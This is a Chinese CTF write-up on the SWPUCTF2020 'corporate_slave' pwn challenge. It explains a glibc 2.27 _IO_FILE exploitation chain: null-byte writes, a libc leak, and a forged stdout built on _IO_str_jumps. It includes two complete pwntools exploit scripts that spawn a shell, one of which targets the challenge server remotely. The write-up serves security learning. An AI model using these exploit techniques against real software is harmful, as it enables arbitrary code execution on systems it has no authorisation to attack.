SWPUCTF2020 corporate_slave _IO_FILE组合利用

题目来源:

感谢cnitlrt师傅的帮助 这道题目是来自于SWPUCTF2020的第三道pwn题,在比赛的时候没有做出来。 这道题目出的真的非常好,做完之后学到了很多 因为之前一直没有做过类似的题目,比赛的时候自然也没有做出来,不过好在有cnitlrt师傅的帮助,可算是做出来了,而且从那里学到了很多新知识。

corporate_slave

题目特点:

1.只有malloc 2.可以对任意位置(申请位置后)写一字节的NULL 3.保护全开

过程分析:

这道题我分为两个部分 1.泄露libc 2.getshell

第一部分:泄露libc 利用的是_IO_FILE leak,这个是之前接触到过的。 只不过之前一直用的是修改_IO_write_base末尾字节为0x58,在这里因为无法修改_flags为0xfbad1800,所以无法用这个第一种方法。 而且我们没有办法像之前一样踩出libc的地址(main_arena + 88),所以之前的方法直接拿来用是不行的,但是我们注意到申请内存没有设置上限,所以如果我们申请0x200000 size的chunk,那么这个chunk会用mmap来分配堆块,这时候可以用vmmap观察一下申请出来内存和libc对应的偏移,发现这个偏移值是固定的,所以我们可以利用这个方法来往libc上的指定位置写0字节 结合之前所学的第二种方法,也就是修改_IO_read_end == _IO_write_base,我们分别往这两个的末尾写00,这种修改方法也可以实现泄露。 最后成功leak,不过这里leak出了一点小状况,好像是因为前两个leak出来的内容符号被略去了,所以我用LibcSearcher都找到正确的libc,所以最后读取了第三个0x7f,才成功leak libc。

第二部分:getshell 第一部分还是比较容易的,难点是在第二部分。 第二部分分为两种解法,一种是二次写入,另一种是一次写入后第二次打__malloc_hook。 这里着重讲解第一种解法,也就是官方wp的解法,如果想要用第二种解法的可以参考exp2的内容。

1.修改_IO_buf_base 由于我们只能写一字节的00,所以我们这里的方法是利用fgets。 往_IO_buf_base的末尾写00,结果发现正好指向了stdin

2.第一次写入 经过了1操作后,我们控制了stdin结构体,但是实际上只控制了0x84字节,这是因为_IO_buf_end的末尾是0x84。 所以我们距离用于getshell的stdout还有一些距离,由于这次可以写入任意内容,所以选择再次写入_IO_buf_base,并且调整_IO_buf_end,前者指向stdout,后者指向要写入位置的结尾。

3.第二次写入 经过了2操作后,我们控制了stdout结构体,而且是完全控制,我们这里选择构造stdout结构体来完成getshell。 现在讲一讲getshell的思路和流程。 之前利用一般是用_IO_flush_all_lockp,但是这里用的是puts 通过_IO_puts->_IO_default_xsputn->_IO_file_overflow 伪造vtable,使得执行_IO_file_overflow的时候getshell。 但是由于题目给出的libc版本是在2.27下的,所以直接修改vtable是不可以的,不过有相应的绕过方法,那就是利用_IO_str_jumps。 利用方法是_IO_str_jumps中有_IO_str_overflow_IO_str_finish两个函数,这两个函数都会调用一个在fp指针(可控)附近的一个位置。

前者调用的是:(*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); 后者调用的是:(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);

_IO_strfile 结构

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;
struct _IO_streambuf
{
  struct _IO_FILE _f;
  const struct _IO_jump_t *vtable;
};
struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer_unused;
  _IO_free_type _free_buffer_unused;
};

_IO_streambuf_IO_FILE_plus类似,所以根据结构可以看出,调用的这两个指针在内存上的位置正好就相邻vtable,如果要利用_free_buffer那就就要修改vtable + 0x10的位置,如果要利用_allocate_buffer那就要修改vtable + 0x8的位置。 一般来说修改_free_buffer的利用式要比修改_allocate_buffer来的方便一些,但是在这道题中vtable + 0x10的位置正好对应着程序存放stdout指针的位置,如果利用前者,那么会覆盖掉stdout的指针,那就会报错了。所以我们只能利用后者来操作。

_allocate_buffer利用的构造:

1
2
3
4
5
6
fp->_flags = 0
fp->_IO_buf_base = 0
fp->_IO_buf_end = (bin_sh_addr - 100) / 2
fp->_IO_write_ptr = 0xffffffffffffffff
fp->_IO_write_base = 0
fp->_mode = 0

有一点要注意的是,如果 bin_sh_addr 的地址以奇数结尾,为了避免除法向下取整的干扰,可以将该地址加 1。另外 system("/bin/sh") 是可以用 one_gadget 来代替的,这样似乎更加简单。

_free_buffer利用的构造:

1
2
3
4
5
6
fp->_mode = 0
fp->_IO_write_ptr = 0xffffffffffffffff
fp->_IO_write_base = 0
fp->_IO_buf_base = bin_sh_addr
fp->_flags2 = 0
fp->_mode = 0

这里还遇到了一个小问题,我的ubuntu18.04上的glibc,不知道是版本更新还是什么原因,大版本是glibc2.27的,但是在两者对应的代码位置,都不是利用_allocate_buffer_free_buffer来调用的,而是直接访问malloc@plt和free@plt,不知道是什么原因,我最后成功测试的时候是在ubuntu 16.04下,用师傅推荐的gfree-libc来替换libc版本,不过这个好像只有他提供编译的libc版本可以成功源码调试,如果是像这道题一样提供服务器libc的话,只能挂载运行,而不能源码调试,不过这个应该只算是个小问题,大部分版本应该都是正确的。

之后还需要解决一些小问题,也正是这些问题卡了我好一段时间 1.结构中的lock(+0x88)要为一个可访问的指针,如果不是的话有个cmp那里会报错,这一点在AngleBoy的视频中也提到过。 2.这道题只能利用_allocate_buffer。 3._IO_str_jumps的符号内容不存在(根据CTF权威指南中所说,该符号在strip后会丢失),解决方法看exp。

EXP

利用二重写入

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from pwn import *

context.log_level = "debug"
r = process('./corporate_slave')
libc = ELF('./libc.so.6')

def malloc(alloc_size, read_size, data="a"):
    r.sendline("1")
    r.sendline(str(alloc_size))
    r.sendline(str(read_size))
    r.sendline(data)

def get_IO_str_jumps():
    IO_file_jumps_offset = libc.sym['_IO_file_jumps']
    IO_str_underflow_offset = libc.sym['_IO_str_underflow']
    for ref_offset in libc.search(p64(IO_str_underflow_offset)):
        possible_IO_str_jumps_offset = ref_offset - 0x20
        if possible_IO_str_jumps_offset > IO_file_jumps_offset:
            print possible_IO_str_jumps_offset
            return possible_IO_str_jumps_offset

# change _IO_read_end & _IO_write_base
malloc(0x200000, 0x5ED750 + 0x20 + 0x1)
malloc(0x200000, 0x5ED750 + 0x201000 + 0x10 + 0x1)

file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("file_jumps_addr: " + hex(file_jumps_addr))

libc_base = file_jumps_addr - libc.sym['_IO_file_jumps']
log.success("libc_base: " + hex(libc_base))

system_addr = libc_base + libc.sym['system']
log.success("system_addr: " + hex(system_addr))

stdin_addr = libc_base + libc.sym['_IO_2_1_stdin_']
log.success("stdin_addr: " + hex(stdin_addr))

stdout_addr = libc_base + libc.sym['_IO_2_1_stdout_']
log.success("stdout_addr: " + hex(stdout_addr))

str_jumps_addr = libc_base + get_IO_str_jumps()
log.success("str_jumps_addr: " + hex(str_jumps_addr))

sh_addr = libc_base + libc.search("/bin/sh").next()
log.success("sh_addr: " + hex(sh_addr))

lock_addr = libc_base + 0x3ed8c0
log.success("lock_addr: " + hex(lock_addr))

malloc(0x200000, 0x5ED750 + 0x201000 * 2 - 0xD60 + 0x38 + 0x1)
# p64(stdin_addr + 132) * 2

stdout_payload = p64(0) # _flags = 0 ( (fp->_flags & _IO_USER_BUF) == 0)
stdout_payload += p64(stdout_addr + 131) * 3  # _flags = 0 _IO_read_ptr _IO_read_end _IO_read_base
# _IO_write_base _IO_write_ptr _IO_write_end (fp->_IO_write_ptr - fp->_IO_write_base == 0xffffffffffffffff)
stdout_payload += p64(0) + p64(0xffffffffffffffff) + p64(0)
# _IO_buf_base _IO_buf_end(arg: 2 * (_IO_buf_end - _IO_buf_base) + 100)
stdout_payload += p64(0) + p64((sh_addr - 100) >> 1)
stdout_payload = stdout_payload.ljust(0x88, '\x00') + p64(lock_addr) # _lock
# vtable = _IO_str_jumps _allocate_buffer = system
stdout_payload = stdout_payload.ljust(0xD8, '\x00') + p64(str_jumps_addr) + p64(system_addr)

stdin_payload = p64(0xfbad208b)
stdin_payload += p64(stdin_addr + 0x84) + p64(stdin_addr) #first write 0x84
stdin_payload += p64(stdin_addr + 131) * 4
stdin_payload += p64(stdout_addr) + p64(stdout_addr + len(stdout_payload)) #second write
stdin_payload = stdin_payload.ljust(0x84, '\x00')

#gdb.attach(r, "b puts")
r.send(stdin_payload + stdout_payload)
r.interactive()

**单次写入 + __malloc_hook + __realloc_hook调整栈**
from pwn import *

context.log_level = "debug"
#r = process('./corporate_slave')
r = remote('das.wetolink.com', 59173)
libc = ELF('./libc.so.6')

def malloc(alloc_size, read_size, data="a"):
    r.sendline("1")
    r.sendline(str(alloc_size))
    r.sendline(str(read_size))
    r.sendline(data)

def get_IO_str_jumps():
    IO_file_jumps_offset = libc.sym['_IO_file_jumps']
    IO_str_underflow_offset = libc.sym['_IO_str_underflow']
    for ref_offset in libc.search(p64(IO_str_underflow_offset)):
        possible_IO_str_jumps_offset = ref_offset - 0x20
        if possible_IO_str_jumps_offset > IO_file_jumps_offset:
            print possible_IO_str_jumps_offset
            return possible_IO_str_jumps_offset

# change _IO_read_end & _IO_write_base
malloc(0x200000, 0x5ED750 + 0x20 + 0x1)
malloc(0x200000, 0x5ED750 + 0x201000 + 0x10 + 0x1)

file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("file_jumps_addr: " + hex(file_jumps_addr))

libc_base = file_jumps_addr - libc.sym['_IO_file_jumps']
log.success("libc_base: " + hex(libc_base))

system_addr = libc_base + libc.sym['system']
log.success("system_addr: " + hex(system_addr))

stdin_addr = libc_base + libc.sym['_IO_2_1_stdin_']
log.success("stdin_addr: " + hex(stdin_addr))

malloc_hook_addr = libc_base + libc.sym['__malloc_hook']
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))

realloc_addr = libc_base + libc.sym['realloc']
log.success("realloc_addr: " + hex(realloc_addr))

one = [0x4f365, 0x4f3c2, 0x10a45c]
one_gadget = libc_base + one[2]
log.success("one_gadget: " + hex(one_gadget))

malloc(0x200000, 0x5ED750 + 0x201000 * 2 - 0xD60 + 0x38 + 0x1)

hook_payload = p64(one_gadget) + p64(realloc_addr + 6)
stdin_payload = p64(0xfbad208b)
stdin_payload += p64(stdin_addr + 0x84) + p64(stdin_addr) #first write 0x84
stdin_payload += p64(stdin_addr + 131) * 4
stdin_payload += p64(malloc_hook_addr - 0x10) + p64(malloc_hook_addr + 0x10) #second write
stdin_payload = stdin_payload.ljust(0x84, '\x00')

#gdb.attach(r, "b calloc")
r.sendline(stdin_payload + 'a' * 0x8 + hook_payload)
r.recv(timeout=1)
malloc(1, 1)
r.interactive()

参考链接: [1]CSDN - 攻防世界PWN之bufoverflow_b题解 https://blog.csdn.net/seaaseesa/article/details/104391405 [2]SWPUCTF2020 官方WP https://wllm1013.github.io/2020/12/09/SWPUCTF2020-%E5%AE%98%E6%96%B9WP/#corporate-slave [3]CTF All in One https://firmianay.gitbook.io/ctf-all-in-one/4_tips/4.13_io_file#_io_str_jumps

0%